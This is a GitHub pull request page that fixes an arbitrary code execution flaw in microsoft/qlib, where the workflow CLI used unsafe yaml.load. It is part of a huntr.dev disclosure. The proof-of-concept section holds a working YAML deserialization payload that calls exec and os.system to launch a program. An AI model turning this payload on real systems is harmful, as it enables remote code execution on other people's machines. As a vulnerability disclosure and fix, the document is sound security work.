Skip to content

Security Fix for Arbitrary Code Execution - huntr.dev#189

Merged
you-n-g merged 2 commits intomicrosoft:mainfrom
418sec:1-pip-qlib
Jan 14, 2021
Merged

Security Fix for Arbitrary Code Execution - huntr.dev#189
you-n-g merged 2 commits intomicrosoft:mainfrom
418sec:1-pip-qlib

Conversation

@huntr-helper
Copy link

https://huntr.dev/users/Anon-Artist has fixed the Arbitrary Code Execution vulnerability 🔨. Think you could fix a vulnerability like this?

Get involved at https://huntr.dev/

Q | A
Version Affected | ALL
Bug Fix | YES
Original Pull Request | 418sec#1
Vulnerability README | https://github.com/418sec/huntr/blob/master/bounties/pip/qlib/1/README.md

User Comments:

📊 Metadata *

Arbitrary Code Excecution in microsoft/qlib. Qlib is an AI-oriented quantitative investment platform, which aims to realize the potential, empower the research, and create the value of AI technologies in quantitative investment.

Bounty URL: https://www.huntr.dev/bounties/1-pip-qlib

⚙️ Description *

This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function load() in yaml

💻 Technical Description *

Fixed by avoiding unsafe loader.

🐛 Proof of Concept (PoC) *

Create the following PoC file:
exploit.py

import os
import qlib.workflow.cli as cli

exploit = """!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
open('exploit.yml','w+').write(exploit)
cli.workflow('exploit.yml','workflow','/tmp')
os.system('rm exploit.yml')

Execute the following commands in another terminal:

python3 exploit.py
Check the Output:

xcalc will pop up.

🔥 Proof of Fix (PoF) *

After fix it will not popup a calc

👍 User Acceptance Testing (UAT)

After fix functionality is unaffected.

@you-n-g you-n-g merged commit b4a088e into microsoft:main Jan 14, 2021
@you-n-g
Copy link
Collaborator

you-n-g commented Jan 14, 2021

Thanks so much!

@JamieSlome
Copy link

@you-n-g, if you want more security fixes and patches like this in the future, you can let security researchers know that they can win bounties protecting your repository by copying this small code snippet into your README.md:

[![huntr](https://cdn.huntr.dev/huntr_security_badge_mono.svg)](https://huntr.dev)

👇 👇 👇

huntr

you-n-g pushed a commit to you-n-g/qlib that referenced this pull request Aug 16, 2025
you-n-g added a commit to you-n-g/qlib that referenced this pull request Aug 16, 2025
* Fixed some bugs introduced during refactoring.

* update data_agent_fin_doc

* Updated documentation for the four major scenarios

* feat: remove pdfs and enable online pdf readings (microsoft#183)

* remove pdfs and enable online pdf readings

* update doc format

* use url as key

* feat: add entry for rdagent. (microsoft#187)

* Add entries

* update entry for rdagent

* lint

* fix typo

* docs: Demo links (microsoft#188)

add demo links

* fix: Fix a fail href in readme (microsoft#189)

* fix a ci bug

* doc

* feat: remove pdfs and enable online pdf readings (microsoft#183)

* remove pdfs and enable online pdf readings

* update doc format

* use url as key

* feat: add entry for rdagent. (microsoft#187)

* Add entries

* update entry for rdagent

* lint

* fix typo

* doc

* Updated documentation for med_model scenarios.

* fix a ci bug

---------

Co-authored-by: Xu Yang <peteryang@vip.qq.com>
Co-authored-by: you-n-g <you-n-g@users.noreply.github.com>
Co-authored-by: XianBW <36835909+XianBW@users.noreply.github.com>
Co-authored-by: SH-Src <suhan.c@outlook.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants